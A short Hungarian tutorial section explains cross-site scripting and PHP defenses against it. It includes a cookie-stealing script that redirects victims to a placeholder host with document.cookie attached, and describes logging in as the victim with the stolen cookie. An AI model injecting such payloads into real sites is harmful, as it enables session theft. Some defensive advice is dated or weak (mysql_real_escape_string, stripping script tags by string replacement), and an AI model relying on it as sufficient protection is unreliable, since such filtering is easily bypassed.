XSS
Az XSS(Cross Site Scripting) lényege, hogy olyan adatokat viszünk be az oldalra, amiket kiíratáskor a böngésző végrehajtandó kódként értelmez. Ez a legtöbb esetben JavaScriptet jelent, de a dolog HTML elemekkel is működik, amiket károkozásra nem igazán tudunk használni, de adott esetben egy oldal vagy annak egy részének a használatát időlegesen akadályozni tudjuk.
Amennyiben a weboldal nincs megfelelően védve, a XSS segítségével ellophatjuk a felhasználó gépén tárolt, adott domainhez tartozó sütiket. Ennek lényege, hogy a felhasználót átirányítjuk a saját oldalunkra, ahol a link GET paraméterként tartalmazza a sütiket, amiket így menthetünk egy fájlba. A káros kódot elhelyezhetjük egy linkben is, ilyenkor a felhasználónak rá kell kattintania, de hatékonyabb, ha közvetlen kódot viszünk be.
<script>
document.location = "http://valami.php?suti=" + document.cookie;
</script>
Ilyen jellegű script beszúrására lehetőség van üzenőfalat, fórumot, üzenetküldési lehetőséget tartalmazó weboldalakon, de az e-mail szolgáltatók oldalain is fennáll a veszély. Amennyiben a sütikben tárolják a belépés adatait, a saját sütinket átírva már be is léphetünk más nevében.
Amennyiben feltételezzük, hogy a felhasználó nem próbál meg HTML elemeket megjeleníteni(többnyire ez jellemző), akkor használhatjuk a htmlspecialchars függvényt, amely a veszélyes karaktereket(’, ", <, >, &) a HTML entity megfelelőjükre alakítja át, így a böngésző egyszerű szövegként fogja őket értelmezni.
Bizonyos esetekben azonban, például e-mailek esetén, előfordulhat, hogy a felhasználó ártó szándék nélkül akar megjeleníteni HTML elemeket. Ilyenkor használhatjuk a strip_tags függvényt, ami kiszűri a HTML tageket, azonban paraméterben megadhatjuk, mely tageket hagyja benne, így optimálisan lehet használni. Emellett még érdemes az eventeket is kiszűrni.
A tartalmat kiíratáskor célszerű szűrni, így ha később valamin változtatnánk, a korábban bevitt adatokhoz nem szükséges hozzányúlni. Az sem elvetendő ötlet, hogy írunk egy saját függvényt, ami kombinálja a htmlspecialchars és a korábban tárgyalt mysql_real_escape_string függvényt, valamint az str_ireplace függvénnyel lecseréljük az esetleges <script> tageket. Az így létrehozott függvényt kisebb módosításokkal mind beszúrásnál, mind kiíratásnál fel tudjuk használni, növelve az oldalunk biztonságát, valamint egyszerűsítve annak kódját.